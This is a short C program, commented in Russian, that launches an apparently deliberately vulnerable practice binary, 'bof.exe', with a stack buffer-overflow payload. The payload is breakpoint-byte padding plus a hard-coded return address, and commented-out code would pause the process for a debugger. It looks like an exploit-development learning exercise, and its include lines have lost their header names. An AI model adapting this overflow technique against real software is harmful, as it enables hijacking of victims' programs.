#include #include int main() { char payload[] = { "\xCC\xCC\xCC\xCC\xCC\xCC\xCC\xCC\xCC\xCC\xCC\xCC\xCC\xCC\xCC\xCC" "\xCC\xCC\xCC\xCC\xCC\xCC\xCC\xCC\xCC\xCC\xCC\xCC\xCC\xCC\xCC\xCC" "\xCC\xCC\xCC\xCC\xCC\xCC\xCC\xCC\xCC\xCC\xCC\xCC\xCC\xCC\xCC\xCC" "\xCC\xCC\xCC\xCC\xCC\xCC\xCC\xCC" "\xF8\x0E\x7E\x77" }; char commandLine[] = "bof.exe "; size_t neededSize = strlen(commandLine) + strlen(payload) + 1; char* fin = (char*)malloc(neededSize); snprintf(fin, neededSize, "%s%s", commandLine, payload); STARTUPINFOA si; PROCESS_INFORMATION pi; ZeroMemory(&si, sizeof(si)); si.cb = sizeof(si); ZeroMemory(&pi, sizeof(pi)); BOOL success = CreateProcessA( NULL, // Имя модуля (используем командную строку) fin, // Командная строка (включая аргументы) NULL, // Атрибуты безопасности процесса NULL, // Атрибуты безопасности потока FALSE, // Наследование дескрипторов 0, //CREATE_SUSPENDED, // КРИТИЧЕСКИЙ ФЛАГ, сразу либо зависнет NULL, // Окружение NULL, // Текущий каталог &si, // Указатель на STARTUPINFO &pi // Указатель на PROCESS_INFORMATION ); /* if (!success) { printf("[FAIL] Не удалось создать процесс. Ошибка: %lu\n", GetLastError()); return 1; } printf("[SUCCESS] Процесс запущен! PID: %lu\n", pi.dwProcessId); printf("[*] Сейчас самое время подключиться дебаггером (WinDbg/x64dbg) к PID %lu\n", pi.dwProcessId); printf("Нажми ENTER, чтобы возобновить поток и отправить инпут...\n"); getchar(); // Оживляем главный поток процесса printf("[*] Возобновление потока...\n"); ResumeThread(pi.hThread); */ // Закрываем дескрипторы (они больше не нужны нашему лоадеру) CloseHandle(pi.hProcess); CloseHandle(pi.hThread); free(fin); return 0; }